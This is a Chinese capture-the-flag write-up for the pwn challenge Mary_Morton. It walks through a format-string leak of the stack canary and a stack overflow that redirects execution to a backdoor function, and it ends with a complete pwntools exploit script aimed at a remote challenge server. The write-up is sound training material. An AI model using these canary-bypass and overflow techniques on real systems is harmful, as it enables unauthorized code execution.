0
点赞
收藏
分享

微信扫一扫

pwn刷题num17-----

攻防世界pwn进阶区Mary_Morton

在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
在这里插入图片描述

64位,小端序
开启部分RELRO---got表仍可写
开启canary保护---栈溢出需绕过canary
开启NX保护----堆栈不可执行
未开启PIE----程序地址为真实地址
动态链接

在这里插入图片描述
运行后,选1是栈溢出,选2是格式化字符串溢出,选3是退出程序
ida一下主函数
在这里插入图片描述
简单的程序,三种选择,选1进入stack()函数
在这里插入图片描述
buf占0x90字节,read函数读入0x100字节,寻找一下后门函数
在这里插入图片描述
后门函数地址:0x4008DA
在这里插入图片描述

思路

栈溢出将返回地址覆盖为后门函数地址:0x4008DA
但有一个问题,程序开启了canary保护,首先需要用格式化字符串漏洞(选2)泄露canary
在这里插入图片描述
看一下栈区
在这里插入图片描述
在这里插入图片描述
首先找到canary的位于printf的第几个参数,这里var_8即为canary,buf距离canary为0x88(0x90-0x8)字节,64位每8个字节,0x88 / 0x8 = 17,再加上64位程序传参方式,再加上6个寄存器,17 + 6 = 23,所以canary位于printf的第23个参数
exp

from pwn import *
sh=remote('111.200.241.244',55529)

sh.recvuntil('3. Exit the battle \n')
sh.sendline(str(2))
sleep(0.5)
sh.sendline('%23$p')   #canary位于printf的第23个参数
 
stack=int(sh.recvuntil('\n')[:-1],16) #接收canary,并以16进制整数储存
print(hex(stack))

flag_addr=0x4008DA
sh.recvuntil('3. Exit the battle \n')
sh.sendline(str(1))	
sleep(0.5)
payload=b'a'*(0x90-8)+p64(stack)+b'b'*8+p64(flag_addr)	
sh.sendline(payload)

sh.interactive()

运行获得shell
在这里插入图片描述

举报

相关推荐

0 条评论